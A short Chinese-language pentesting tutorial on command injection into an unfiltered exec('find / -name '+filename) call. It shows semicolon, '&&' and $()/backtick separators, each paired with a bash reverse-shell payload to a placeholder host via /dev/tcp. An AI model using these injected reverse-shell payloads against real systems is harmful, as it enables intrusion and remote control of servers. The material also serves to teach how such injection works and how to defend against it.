命令执行-多命令分隔技巧
假设渗透中,通过代码审计发现又如下代码:
filename=外部传参 exec("find / -name "+filename)
这里filename是外部传参到exec函数,调用find命令来在本地查找文件。可以确定这里一定存在远程命令执行,因为这里filename是外部传参,且没有经过任何过滤,也就是说恶意用户可以通过控制外部传参来执行更多命令,有如下几种方式
一、分号隔断-';'
分号可以用于在命令行中进行命令分隔,分号分隔的两个部分将作为两条命令进行执行。所以可以进行如下传参
filename="test;/bin/bash -i > /dev/tcp/x.x.x.x/9999 0<&1 2>&1"
这时exec中执行的命令就变成了:
find / -name test;/bin/bash -i > /dev/tcp/x.x.x.x/9999 0<&1 2>&1
从而分别执行了find命令,并向x.x.x.x反弹了一个shell、
*该符号分隔的好处是,也可以不为-name提供参数实例,即可以省去命令中的'test',直接从分号后开始执行
二、'&&'符号分隔
&&在命令行中表示‘和’操作,当用该符号分隔是,命令行也会把命令当做两条命令顺序执行。所以可以进行如下传参
filename="test && /bin/bash -i > /dev/tcp/x.x.x.x/9999 0<&1 2>&1"
这时exec中执行的命令就变成了:
find / -name test && /bin/bash -i > /dev/tcp/x.x.x.x/9999 0<&1 2>&1
从而分别执行了find命令,并向x.x.x.x反弹了一个shell
*该符号分隔不足的地方在于,'&&' 表示‘和’操作,所以只有第一条命令执行成功后才会执行到第二条命令,如果第一条命令报错,则执行不到第二条命令,所以这里不能省去命令中的'test'
三、'$()'或'``'(esc键下面的,也叫反引号)分隔
$()和``在shell中表示把括号内的脚本当做命令执行,所以可以用这种方法用来包含命令执行,所以可以进行如下传参
filename="$(/bin/bash -i > /dev/tcp/x.x.x.x/9999 0<&1 2>&1)"
这是exec中执行的命令就变成了:
find / -name $(/bin/bash -i > /dev/tcp/x.x.x.x/9999 0<&1 2>&1)
从而分别执行了两条命令
``和$()是同样的用法,不再赘述
*$()和``都不需要为参数提供实例,但不是所有的shell都能使用,通常只在bash环境下使用